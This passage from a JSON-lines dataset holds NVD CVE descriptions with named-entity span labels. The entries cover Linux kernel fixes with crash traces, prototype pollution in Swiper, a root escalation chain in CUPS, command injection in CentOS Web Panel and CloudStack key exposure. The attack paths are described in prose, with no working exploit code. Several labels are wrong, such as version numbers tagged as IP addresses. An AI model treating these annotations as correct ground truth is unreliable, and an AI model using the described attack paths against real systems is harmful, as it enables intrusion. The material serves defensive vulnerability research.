github.com": [[0, 10]], "FILEPATH: /crewjam/saml": [[10, 23]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-45683"}}
{"text": "An issue was discovered in a third-party component related to ro.boot.wifimacaddr, shipped on devices from multiple device manufacturers. Various software builds for the following TCL devices (30Z and 10L) and Motorola devices (Moto G Pure and Moto G Power) leak the Wi-Fi MAC address to a system property that can be accessed by any local app on the device without any permissions or special privileges. Google restricted third-party apps from directly obtaining non-resettable device identifiers in Android 10 and higher, but in these instances they are leaked by a high-privilege process and can be obtained indirectly. The software build fingerprints for each confirmed vulnerable device are as follows: TCL A3X (TCL/A600DL/Delhi_TF:11/RKQ1.201202.002/vAAZ:user/release-keys, TCL/A600DL/Delhi_TF:11/RKQ1.201202.002/vAB3:user/release-keys, TCL/A600DL/Delhi_TF:11/RKQ1.201202.002/vAB7:user/release-keys, TCL/A600DL/Delhi_TF:11/RKQ1.201202.002/vABA:user/release-keys, TCL/A600DL/Delhi_TF:11/RKQ1.201202.002/vABM:user/release-keys, TCL/A600DL/Delhi_TF:11/RKQ1.201202.002/vABP:user/release-keys, and TCL/A600DL/Delhi_TF:11/RKQ1.201202.002/vABS:user/release-keys); TCL 10L (TCL/T770B/T1_LITE:10/QKQ1.200329.002/3CJ0:user/release-keys and TCL/T770B/T1_LITE:11/RKQ1.210107.001/8BIC:user/release-keys); Motorola Moto G Pure (motorola/ellis_trac/ellis:11/RRHS31.Q3-46-110-2/74844:user/release-keys, motorola/ellis_trac/ellis:11/RRHS31.Q3-46-110-7/5cde8:user/release-keys, motorola/ellis_trac/ellis:11/RRHS31.Q3-46-110-10/d67faa:user/release-keys, motorola/ellis_trac/ellis:11/RRHS31.Q3-46-110-13/b4a29:user/release-keys, motorola/ellis_trac/ellis:12/S3RH32.20-42-10/1c2540:user/release-keys, motorola/ellis_trac/ellis:12/S3RHS32.20-42-13-2-1/6368dd:user/release-keys, motorola/ellis_a/ellis:11/RRH31.Q3-46-50-2/20fec:user/release-keys, motorola/ellis_vzw/ellis:11/RRH31.Q3-46-138/103bd:user/release-keys, motorola/ellis_vzw/ellis:11/RRHS31.Q3-46-138-2/e5502:user/release-keys, and motorola/ellis_vzw/ellis:12/S3RHS32.20-42-10-14-2/5e0b0:user/release-keys); and Motorola Moto G Power (motorola/tonga_g/tonga:11/RRQ31.Q3-68-16-2/e5877:user/release-keys and motorola/tonga_g/tonga:12/S3RQS32.20-42-10-6/f876d3:user/release-keys). This malicious app reads from the \"ro.boot.wifimacaddr\" system property to indirectly obtain the Wi-Fi MAC address.", "spans": {"FILEPATH: /A600DL/Delhi_TF": [[720, 736], [783, 799], [846, 862], [909, 925], [972, 988], [1035, 1051], [1102, 1118]], "FILEPATH: /RKQ1.201202.002/vAAZ": [[739, 760]], "FILEPATH: /RKQ1.201202.002/vAB3": [[802, 823]], "FILEPATH: /RKQ1.201202.002/vAB7": [[865, 886]], "FILEPATH: /RKQ1.201202.002/vABA": [[928, 949]], "FILEPATH: /RKQ1.201202.002/vABM": [[991, 1012]], "FILEPATH: /RKQ1.201202.002/vABP": [[1054, 1075]], "FILEPATH: /RKQ1.201202.002/vABS": [[1121, 1142]], "FILEPATH: /T770B/T1_LITE": [[1175, 1189], [1239, 1253]], "FILEPATH: /QKQ1.200329.002/3CJ0": [[1192, 1213]], "FILEPATH: /RKQ1.210107.001/8BIC": [[1256, 1277]], "FILEPATH: /ellis_trac/ellis": [[1328, 1345], [1401, 1418], [1474, 1491], [1549, 1566], [1623, 1640], [1694, 1711]], "FILEPATH: /RRHS31.Q3-46-110-2/74844": [[1348, 1373]], "FILEPATH: /RRHS31.Q3-46-110-7/5cde8": [[1421, 1446]], "FILEPATH: /RRHS31.Q3-46-110-10/d67faa": [[1494, 1521]], "FILEPATH: /RRHS31.Q3-46-110-13/b4a29": [[1569, 1595]], "FILEPATH: /S3RH32.20-42-10/1c2540": [[1643, 1666]], "FILEPATH: /S3RHS32.20-42-13-2-1/6368dd": [[1714, 1742]], "FILEPATH: /ellis_a/ellis": [[1770, 1784]], "FILEPATH: /RRH31.Q3-46-50-2/20fec": [[1787, 1810]], "FILEPATH: /ellis_vzw/ellis": [[1838, 1854], [1907, 1923], [1983, 1999]], "FILEPATH: /RRH31.Q3-46-138/103bd": [[1857, 1879]], "FILEPATH: /RRHS31.Q3-46-138-2/e5502": [[1926, 1951]], "FILEPATH: /S3RHS32.20-42-10-14-2/5e0b0": [[2002, 2030]], "FILEPATH: /tonga_g/tonga": [[2086, 2100], [2157, 2171]], "FILEPATH: /RRQ31.Q3-68-16-2/e5877": [[2103, 2126]], "FILEPATH: /S3RQS32.20-42-10-6/f876d3": [[2174, 2200]], "SYSTEM: Android": [[501, 508]], "ORGANIZATION: Google": [[405, 411]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-38291"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvideo: screen_info: Relocate framebuffers behind PCI bridges\n\nApply PCI host-bridge window offsets to screen_info framebuffers. Fixes\ninvalid access to I/O memory.\n\nResources behind a PCI host bridge can be relocated by a certain offset\nin the kernel's CPU address range used for I/O. The framebuffer memory\nrange stored in screen_info refers to the CPU addresses as seen during\nboot (where the offset is 0). During boot up, firmware may assign a\ndifferent memory offset to the PCI host bridge and thereby relocating\nthe framebuffer address of the PCI graphics device as seen by the kernel.\nThe information in screen_info must be updated as well.\n\nThe helper pcibios_bus_to_resource() performs the relocation of the\nscreen_info's framebuffer resource (given in PCI bus addresses). The\nresult matches the I/O-memory resource of the PCI graphics device (given\nin CPU addresses). As before, we store away the information necessary to\nlater update the information in screen_info itself.\n\nCommit 78aa89d1dfba (\"firmware/sysfb: Update screen_info for relocated\nEFI framebuffers\") added the code for updating screen_info. It is based\non similar functionality that pre-existed in efifb. Efifb uses a pointer\nto the PCI resource, while the newer code does a memcpy of the region.\nHence efifb sees any updates to the PCI resource and avoids the issue.\n\nv3:\n- Only use struct pci_bus_region for PCI bus addresses (Bjorn)\n- Clarify address semantics in commit messages and comments (Bjorn)\nv2:\n- Fixed tags (Takashi, Ivan)\n- Updated information on efifb", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38427"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: qedi: Fix crash while reading debugfs attribute\n\nThe qedi_dbg_do_not_recover_cmd_read() function invokes sprintf() directly\non a __user pointer, which results into the crash.\n\nTo fix this issue, use a small local stack buffer for sprintf() and then\ncall simple_read_from_buffer(), which in turns make the copy_to_user()\ncall.\n\nBUG: unable to handle page fault for address: 00007f4801111000\nPGD 8000000864df6067 P4D 8000000864df6067 PUD 864df7067 PMD 846028067 PTE 0\nOops: 0002 [#1] PREEMPT SMP PTI\nHardware name: HPE ProLiant DL380 Gen10/ProLiant DL380 Gen10, BIOS U30 06/15/2023\nRIP: 0010:memcpy_orig+0xcd/0x130\nRSP: 0018:ffffb7a18c3ffc40 EFLAGS: 00010202\nRAX: 00007f4801111000 RBX: 00007f4801111000 RCX: 000000000000000f\nRDX: 000000000000000f RSI: ffffffffc0bfd7a0 RDI: 00007f4801111000\nRBP: ffffffffc0bfd7a0 R08: 725f746f6e5f6f64 R09: 3d7265766f636572\nR10: ffffb7a18c3ffd08 R11: 0000000000000000 R12: 00007f4881110fff\nR13: 000000007fffffff R14: ffffb7a18c3ffca0 R15: ffffffffc0bfd7af\nFS:  00007f480118a740(0000) GS:ffff98e38af00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f4801111000 CR3: 0000000864b8e001 CR4: 00000000007706e0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nPKRU: 55555554\nCall Trace:\n <TASK>\n ? __die_body+0x1a/0x60\n ? page_fault_oops+0x183/0x510\n ? exc_page_fault+0x69/0x150\n ? asm_exc_page_fault+0x22/0x30\n ? memcpy_orig+0xcd/0x130\n vsnprintf+0x102/0x4c0\n sprintf+0x51/0x80\n qedi_dbg_do_not_recover_cmd_read+0x2f/0x50 [qedi 6bcfdeeecdea037da47069eca2ba717c84a77324]\n full_proxy_read+0x50/0x80\n vfs_read+0xa5/0x2e0\n ? folio_add_new_anon_rmap+0x44/0xa0\n ? set_pte_at+0x15/0x30\n ? do_pte_missing+0x426/0x7f0\n ksys_read+0xa5/0xe0\n do_syscall_64+0x58/0x80\n ? __count_memcg_events+0x46/0x90\n ? count_memcg_event_mm+0x3d/0x60\n ? handle_mm_fault+0x196/0x2f0\n ? do_user_addr_fault+0x267/0x890\n ? exc_page_fault+0x69/0x150\n entry_SYSCALL_64_after_hwframe+0x72/0xdc\nRIP: 0033:0x7f4800f20b4d", "spans": {"HASH: 6bcfdeeecdea037da47069eca2ba717c84a77324": [[1656, 1696]], "FILEPATH: /15/2023": [[646, 654]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-40978"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath11k: update channel list in reg notifier instead reg worker\n\nCurrently when ath11k gets a new channel list, it will be processed\naccording to the following steps:\n1. update new channel list to cfg80211 and queue reg_work.\n2. cfg80211 handles new channel list during reg_work.\n3. update cfg80211's handled channel list to firmware by\nath11k_reg_update_chan_list().\n\nBut ath11k will immediately execute step 3 after reg_work is just\nqueued. Since step 2 is asynchronous, cfg80211 may not have completed\nhandling the new channel list, which may leading to an out-of-bounds\nwrite error:\nBUG: KASAN: slab-out-of-bounds in ath11k_reg_update_chan_list\nCall Trace:\n    ath11k_reg_update_chan_list+0xbfe/0xfe0 [ath11k]\n    kfree+0x109/0x3a0\n    ath11k_regd_update+0x1cf/0x350 [ath11k]\n    ath11k_regd_update_work+0x14/0x20 [ath11k]\n    process_one_work+0xe35/0x14c0\n\nShould ensure step 2 is completely done before executing step 3. Thus\nWen raised patch[1]. When flag NL80211_REGDOM_SET_BY_DRIVER is set,\ncfg80211 will notify ath11k after step 2 is done.\n\nSo enable the flag NL80211_REGDOM_SET_BY_DRIVER then cfg80211 will\nnotify ath11k after step 2 is done. At this time, there will be no\nKASAN bug during the execution of the step 3.\n\n[1] https://patchwork.kernel.org/project/linux-wireless/patch/20230201065313.27203-1-quic_wgong@quicinc.com/\n\nTested-on: WCN6855 hw2.0 PCI WLAN.HSP.1.1-03125-QCAHSPSWPL_V1_V2_SILICONZ_LITE-3", "spans": {"URL: https://patchwork.kernel.org/project/linux-wireless/patch/20230201065313.27203-1-quic_wgong@quicinc.com/": [[1310, 1414]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-23133"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ninet: frags: drop fraglist conntrack references\n\nJakub added a warning in nf_conntrack_cleanup_net_list() to make debugging\nleaked skbs/conntrack references more obvious.\n\nsyzbot reports this as triggering, and I can also reproduce this via\nip_defrag.sh selftest:\n\n conntrack cleanup blocked for 60s\n WARNING: net/netfilter/nf_conntrack_core.c:2512\n [..]\n\nconntrack clenups gets stuck because there are skbs with still hold nf_conn\nreferences via their frag_list.\n\n   net.core.skb_defer_max=0 makes the hang disappear.\n\nEric Dumazet points out that skb_release_head_state() doesn't follow the\nfraglist.\n\nip_defrag.sh can only reproduce this problem since\ncommit 6471658dc66c (\"udp: use skb_attempt_defer_free()\"), but AFAICS this\nproblem could happen with TCP as well if pmtu discovery is off.\n\nThe relevant problem path for udp is:\n1. netns emits fragmented packets\n2. nf_defrag_v6_hook reassembles them (in output hook)\n3. reassembled skb is tracked (skb owns nf_conn reference)\n4. ip6_output refragments\n5. refragmented packets also own nf_conn reference (ip6_fragment\n   calls ip6_copy_metadata())\n6. on input path, nf_defrag_v6_hook skips defragmentation: the\n   fragments already have skb->nf_conn attached\n7. skbs are reassembled via ipv6_frag_rcv()\n8. skb_consume_udp -> skb_attempt_defer_free() -> skb ends up\n   in pcpu freelist, but still has nf_conn reference.\n\nPossible solutions:\n 1 let defrag engine drop nf_conn entry, OR\n 2 export kick_defer_list_purge() and call it from the conntrack\n   netns exit callback, OR\n 3 add skb_has_frag_list() check to skb_attempt_defer_free()\n\n2 & 3 also solve ip_defrag.sh hang but share same drawback:\n\nSuch reassembled skbs, queued to socket, can prevent conntrack module\nremoval until userspace has consumed the packet. While both tcp and udp\nstack do call nf_reset_ct() before placing skb on socket queue, that\nfunction doesn't iterate frag_list skbs.\n\nTherefore drop nf_conn entries when they are placed in defrag queue.\nKeep the nf_conn entry of the first (offset 0) skb so that reassembled\nskb retains nf_conn entry for sake of TX path.\n\nNote that fixes tag is incorrect; it points to the commit introducing the\n'ip_defrag.sh reproducible problem': no need to backport this patch to\nevery stable kernel.", "spans": {"FILEPATH: /netfilter/nf_conntrack_core.c": [[382, 412]], "FILEPATH: ip_defrag.sh": [[310, 322], [673, 685], [1678, 1690], [2238, 2250]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23016"}}
{"text": "Swiper is a free and mobile touch slider with hardware accelerated transitions and native behavior. Versions 6.5.1 through 12.1.1 have a Prototype pollution vulnerability. The vulnerability resides in line 94 of shared/utils.mjs, where the indexOf() function is used to check whether user provided input contain forbidden strings. Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. The exploit works across Windows and Linux and on Node and Bun runtimes.  Any application that processes attacker-controlled input using this package may be affected  by the following: Authentication Bypass, Denial of Service and RCE. This issue is fixed in version 12.1.2.", "spans": {"SYSTEM: Windows": [[576, 583]], "SYSTEM: Linux": [[588, 593]], "VULNERABILITY: Authentication Bypass": [[736, 757]], "VULNERABILITY: Prototype pollution": [[137, 156]], "VULNERABILITY: prototype pollution": [[381, 400]], "VULNERABILITY: Denial of Service": [[759, 776]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27212"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nhfsplus: fix slab-out-of-bounds in hfsplus_bnode_read()\n\nThe hfsplus_bnode_read() method can trigger the issue:\n\n[  174.852007][ T9784] ==================================================================\n[  174.852709][ T9784] BUG: KASAN: slab-out-of-bounds in hfsplus_bnode_read+0x2f4/0x360\n[  174.853412][ T9784] Read of size 8 at addr ffff88810b5fc6c0 by task repro/9784\n[  174.854059][ T9784]\n[  174.854272][ T9784] CPU: 1 UID: 0 PID: 9784 Comm: repro Not tainted 6.16.0-rc3 #7 PREEMPT(full)\n[  174.854281][ T9784] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[  174.854286][ T9784] Call Trace:\n[  174.854289][ T9784]  <TASK>\n[  174.854292][ T9784]  dump_stack_lvl+0x10e/0x1f0\n[  174.854305][ T9784]  print_report+0xd0/0x660\n[  174.854315][ T9784]  ? __virt_addr_valid+0x81/0x610\n[  174.854323][ T9784]  ? __phys_addr+0xe8/0x180\n[  174.854330][ T9784]  ? hfsplus_bnode_read+0x2f4/0x360\n[  174.854337][ T9784]  kasan_report+0xc6/0x100\n[  174.854346][ T9784]  ? hfsplus_bnode_read+0x2f4/0x360\n[  174.854354][ T9784]  hfsplus_bnode_read+0x2f4/0x360\n[  174.854362][ T9784]  hfsplus_bnode_dump+0x2ec/0x380\n[  174.854370][ T9784]  ? __pfx_hfsplus_bnode_dump+0x10/0x10\n[  174.854377][ T9784]  ? hfsplus_bnode_write_u16+0x83/0xb0\n[  174.854385][ T9784]  ? srcu_gp_start+0xd0/0x310\n[  174.854393][ T9784]  ? __mark_inode_dirty+0x29e/0xe40\n[  174.854402][ T9784]  hfsplus_brec_remove+0x3d2/0x4e0\n[  174.854411][ T9784]  __hfsplus_delete_attr+0x290/0x3a0\n[  174.854419][ T9784]  ? __pfx_hfs_find_1st_rec_by_cnid+0x10/0x10\n[  174.854427][ T9784]  ? __pfx___hfsplus_delete_attr+0x10/0x10\n[  174.854436][ T9784]  ? __asan_memset+0x23/0x50\n[  174.854450][ T9784]  hfsplus_delete_all_attrs+0x262/0x320\n[  174.854459][ T9784]  ? __pfx_hfsplus_delete_all_attrs+0x10/0x10\n[  174.854469][ T9784]  ? rcu_is_watching+0x12/0xc0\n[  174.854476][ T9784]  ? __mark_inode_dirty+0x29e/0xe40\n[  174.854483][ T9784]  hfsplus_delete_cat+0x845/0xde0\n[  174.854493][ T9784]  ? __pfx_hfsplus_delete_cat+0x10/0x10\n[  174.854507][ T9784]  hfsplus_unlink+0x1ca/0x7c0\n[  174.854516][ T9784]  ? __pfx_hfsplus_unlink+0x10/0x10\n[  174.854525][ T9784]  ? down_write+0x148/0x200\n[  174.854532][ T9784]  ? __pfx_down_write+0x10/0x10\n[  174.854540][ T9784]  vfs_unlink+0x2fe/0x9b0\n[  174.854549][ T9784]  do_unlinkat+0x490/0x670\n[  174.854557][ T9784]  ? __pfx_do_unlinkat+0x10/0x10\n[  174.854565][ T9784]  ? __might_fault+0xbc/0x130\n[  174.854576][ T9784]  ? getname_flags.part.0+0x1c5/0x550\n[  174.854584][ T9784]  __x64_sys_unlink+0xc5/0x110\n[  174.854592][ T9784]  do_syscall_64+0xc9/0x480\n[  174.854600][ T9784]  entry_SYSCALL_64_after_hwframe+0x77/0x7f\n[  174.854608][ T9784] RIP: 0033:0x7f6fdf4c3167\n[  174.854614][ T9784] Code: f0 ff ff 73 01 c3 48 8b 0d 26 0d 0e 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 08\n[  174.854622][ T9784] RSP: 002b:00007ffcb948bca8 EFLAGS: 00000206 ORIG_RAX: 0000000000000057\n[  174.854630][ T9784] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6fdf4c3167\n[  174.854636][ T9784] RDX: 00007ffcb948bcc0 RSI: 00007ffcb948bcc0 RDI: 00007ffcb948bd50\n[  174.854641][ T9784] RBP: 00007ffcb948cd90 R08: 0000000000000001 R09: 00007ffcb948bb40\n[  174.854645][ T9784] R10: 00007f6fdf564fc0 R11: 0000000000000206 R12: 0000561e1bc9c2d0\n[  174.854650][ T9784] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000\n[  174.854658][ T9784]  </TASK>\n[  174.854661][ T9784]\n[  174.879281][ T9784] Allocated by task 9784:\n[  174.879664][ T9784]  kasan_save_stack+0x20/0x40\n[  174.880082][ T9784]  kasan_save_track+0x14/0x30\n[  174.880500][ T9784]  __kasan_kmalloc+0xaa/0xb0\n[  174.880908][ T9784]  __kmalloc_noprof+0x205/0x550\n[  174.881337][ T9784]  __hfs_bnode_create+0x107/0x890\n[  174.881779][ T9784]  hfsplus_bnode_find+0x2d0/0xd10\n[  174.882222][ T9784]  hfsplus_brec_find+0x2b0/0x520\n[  174.882659][ T9784]  hfsplus_delete_all_attrs+0x23b/0x3\n---truncated---", "spans": {"FILEPATH: /01/2014": [[676, 684]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[602, 606]], "ORGANIZATION: Ubuntu": [[607, 613]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38714"}}
{"text": "Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Marketing Administration). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.10. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Marketing. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Marketing, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Marketing accessible data as well as unauthorized update, insert or delete access to some of Oracle Marketing accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [49, 55], [295, 301], [430, 436], [620, 626], [720, 726]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2026"}}
{"text": "Next.js is a React framework for building full-stack web applications. Starting in version 13.0.0 and prior to versions 13.5.8, 14.2.21, and 15.1.2, Next.js is vulnerable to a Denial of Service (DoS) attack that allows attackers to construct requests that leaves requests to Server Actions hanging until the hosting provider cancels the function execution. This vulnerability can also be used as a Denial of Wallet (DoW) attack when deployed in providers billing by response times. (Note: Next.js server is idle during that time and only keeps the connection open. CPU and memory footprint are low during that time.). Deployments without any protection against long running Server Action invocations are especially vulnerable. Hosting providers like Vercel or Netlify set a default maximum duration on function execution to reduce the risk of excessive billing. This is the same issue as if the incoming HTTP request has an invalid `Content-Length` header or never closes. If the host has no other mitigations to those then this vulnerability is novel. This vulnerability affects only Next.js deployments using Server Actions. The issue was resolved in Next.js 13.5.8, 14.2.21, and 15.1.2. We recommend that users upgrade to a safe version. There are no official workarounds.", "spans": {"FILEPATH: Next.js": [[0, 7], [149, 156], [489, 496], [1085, 1092], [1153, 1160]], "VULNERABILITY: Denial of Service": [[176, 193]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56332"}}
{"text": "Multiple vulnerabilities in the Server Message Block Version 2 (SMB2) processor of the Snort detection engine on multiple Cisco products could allow an unauthenticated, remote attacker to bypass the configured policies or cause a denial of service (DoS) condition on an affected device.\r\n\r These vulnerabilities are due to improper management of system resources when the Snort detection engine is processing SMB2 traffic. An attacker could exploit these vulnerabilities by sending a high rate of certain types of SMB2 packets through an affected device. A successful exploit could allow the attacker to trigger a reload of the Snort process, resulting in a DoS condition.\r\n\r Note: When the snort preserve-connection option is enabled for the Snort detection engine, a successful exploit could also allow the attacker to bypass the configured policies and deliver a malicious payload to the protected network. The snort preserve-connection setting is enabled by default. See the Details [\"#details\"] section of this advisory for more information.\r\n\r Note: Only products that have Snort 3 configured are affected. Products that are configured with Snort 2 are not affected.", "spans": {"ORGANIZATION: Cisco": [[122, 127]], "VULNERABILITY: denial of service": [[230, 247]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-20922"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_ftp_manager.php. When parsing the userLogin parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-9737.", "spans": {"IP_ADDRESS: 0.9.8.923": [[123, 132]], "FILEPATH: ajax_ftp_manager.php": [[228, 248]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15612"}}
{"text": "When an Apache CloudStack user-account creates a CKS-based Kubernetes cluster in a project, the API key and the secret key of the 'kubeadmin' user of the caller account are used to create the secret config in the CKS-based Kubernetes cluster. A member of the project who can access the CKS-based Kubernetes cluster, can also access the API key and secret key of the 'kubeadmin' user of the CKS cluster's creator's account. An attacker who's a member of the project can exploit this to impersonate and perform privileged actions that can result in complete compromise of the confidentiality, integrity, and availability of resources owned by the creator's account.\n\nCKS users are recommended to upgrade to version 4.19.3.0 or 4.20.1.0, which fixes this issue.Updating Existing Kubernetes Clusters in ProjectsA service account should be created for each project to provide limited access specifically for Kubernetes cluster providers and autoscaling. Follow the steps below to create a new service account, update the secret inside the cluster, and regenerate existing API and service keys:1. Create a New Service AccountCreate a new account using the role \"Project Kubernetes Service Role\" with the following details:\n\nAccount Name\nkubeadmin-<FIRST_EIGHT_CHARACTERS_OF_PROJECT_ID>\nFirst Name\nKubernetes\nLast Name\nService User\nAccount Type\n0 (Normal User)\nRole ID\n<ID_OF_SERVICE_ROLE>\n\n\n\n2. Add the Service Account to the ProjectAdd this account to the project where the Kubernetes cluster(s) are hosted.\n3. Generate API and Secret KeysGenerate API Key and Secret Key for the default user of this account.\n4. Update the CloudStack Secret in the Kubernetes ClusterCreate a temporary file `/tmp/cloud-config` with the following data:\n   api-url = <API_URL>       # For example: <MS_URL>/client/api\n  api-key = <SERVICE_USER_API_KEY>\n  secret-key = <SERVICE_USER_SECRET_KEY>\n  project-id = <PROJECT_ID>\n\n\n\n\nDelete the existing secret using kubectl and Kubernetes cluster config:\n   ./kubectl --kubeconfig kube.conf -n kube-system delete secret cloudstack-secret\n\n\n\n\nCreate a new secret using kubectl and Kubernetes cluster config:\n    ./kubectl --kubeconfig kube.conf -n kube-system create secret generic cloudstack-secret --from-file=/tmp/cloud-config\n\n\n\n\nRemove the temporary file:\n    rm /tmp/cloud-config5. Regenerate API and Secret KeysRegenerate the API and secret keys for the original user account that was used to create the Kubernetes cluster.", "spans": {"IP_ADDRESS: 4.19.3.0": [[713, 721]], "IP_ADDRESS: 4.20.1.0": [[725, 733]], "FILEPATH: /tmp/cloud-config": [[1686, 1703], [2230, 2247]], "FILEPATH: /client/api": [[1782, 1793]], "FILEPATH: /tmp/cloud-config5.": [[2286, 2305]], "FILEPATH: kube.conf": [[2000, 2009], [2153, 2162]], "SYSTEM: Kubernetes": [[59, 69], [223, 233], [296, 306], [776, 786], [903, 913], [1164, 1174], [1291, 1301], [1469, 1479], [1643, 1653], [1947, 1957], [2099, 2109], [2429, 2439]], "ORGANIZATION: Apache": [[8, 14]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-26521"}}
{"text": "Vulnerability in the Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Configuration Standard Framewk). Supported versions that are affected are 12.1.0.5, 13.2.0.0 and 13.3.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Enterprise Manager Base Platform. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Enterprise Manager Base Platform accessible data as well as unauthorized update, insert or delete access to some of Enterprise Manager Base Platform accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Enterprise Manager Base Platform. CVSS 3.0 Base Score 6.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L).", "spans": {"IP_ADDRESS: 12.1.0.5": [[177, 185]], "IP_ADDRESS: 13.2.0.0": [[187, 195]], "IP_ADDRESS: 13.3.0.0": [[200, 208]], "ORGANIZATION: Oracle": [[65, 71]], "VULNERABILITY: denial of service": [[679, 696]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2634"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndma-mapping: benchmark: fix node id validation\n\nWhile validating node ids in map_benchmark_ioctl(), node_possible() may\nbe provided with invalid argument outside of [0,MAX_NUMNODES-1] range\nleading to:\n\nBUG: KASAN: wild-memory-access in map_benchmark_ioctl (kernel/dma/map_benchmark.c:214)\nRead of size 8 at addr 1fffffff8ccb6398 by task dma_map_benchma/971\nCPU: 7 PID: 971 Comm: dma_map_benchma Not tainted 6.9.0-rc6 #37\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996)\nCall Trace:\n <TASK>\ndump_stack_lvl (lib/dump_stack.c:117)\nkasan_report (mm/kasan/report.c:603)\nkasan_check_range (mm/kasan/generic.c:189)\nvariable_test_bit (arch/x86/include/asm/bitops.h:227) [inline]\narch_test_bit (arch/x86/include/asm/bitops.h:239) [inline]\n_test_bit at (include/asm-generic/bitops/instrumented-non-atomic.h:142) [inline]\nnode_state (include/linux/nodemask.h:423) [inline]\nmap_benchmark_ioctl (kernel/dma/map_benchmark.c:214)\nfull_proxy_unlocked_ioctl (fs/debugfs/file.c:333)\n__x64_sys_ioctl (fs/ioctl.c:890)\ndo_syscall_64 (arch/x86/entry/common.c:83)\nentry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n\nCompare node ids with sane bounds first. NUMA_NO_NODE is considered a\nspecial valid case meaning that benchmarking kthreads won't be bound to a\ncpuset of a given node.\n\nFound by Linux Verification Center (linuxtesting.org).", "spans": {"DOMAIN: linuxtesting.org": [[1385, 1401]], "FILEPATH: /dma/map_benchmark.c": [[333, 353], [964, 984]], "FILEPATH: /kasan/report.c": [[619, 634]], "FILEPATH: /kasan/generic.c": [[661, 677]], "FILEPATH: /x86/include/asm/bitops.h": [[706, 731], [765, 790]], "FILEPATH: /asm-generic/bitops/instrumented-non-atomic.h": [[826, 871]], "FILEPATH: /linux/nodemask.h": [[905, 922]], "FILEPATH: /debugfs/file.c": [[1019, 1034]], "FILEPATH: /x86/entry/common.c": [[1092, 1111]], "FILEPATH: /x86/entry/entry_64.S": [[1152, 1173]], "FILEPATH: dump_stack.c": [[585, 597]], "FILEPATH: ioctl.c": [[1060, 1067]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[1358, 1363]], "SYSTEM: QEMU": [[506, 510]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-34777"}}
{"text": "OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. In versions 2.4.8 and earlier, when starting the cupsd server with a Listen configuration item pointing to a symbolic link, the cupsd process can be caused to perform an arbitrary chmod of the provided argument, providing world-writable access to the target. Given that cupsd is often running as root, this can result in the change of permission of any user or system files to be world writable. Given the aforementioned Ubuntu AppArmor context, on such systems this vulnerability is limited to those files modifiable by the cupsd process. In that specific case it was found to be possible to turn the configuration of the Listen argument into full control over the cupsd.conf and cups-files.conf configuration files. By later setting the User and Group arguments in cups-files.conf, and printing with a printer configured by PPD with a `FoomaticRIPCommandLine` argument, arbitrary user and group (not root) command execution could be achieved, which can further be used on Ubuntu systems to achieve full root command execution. Commit ff1f8a623e090dee8a8aadf12a6a4b25efac143d contains a patch for the issue.", "spans": {"HASH: ff1f8a623e090dee8a8aadf12a6a4b25efac143d": [[1137, 1177]], 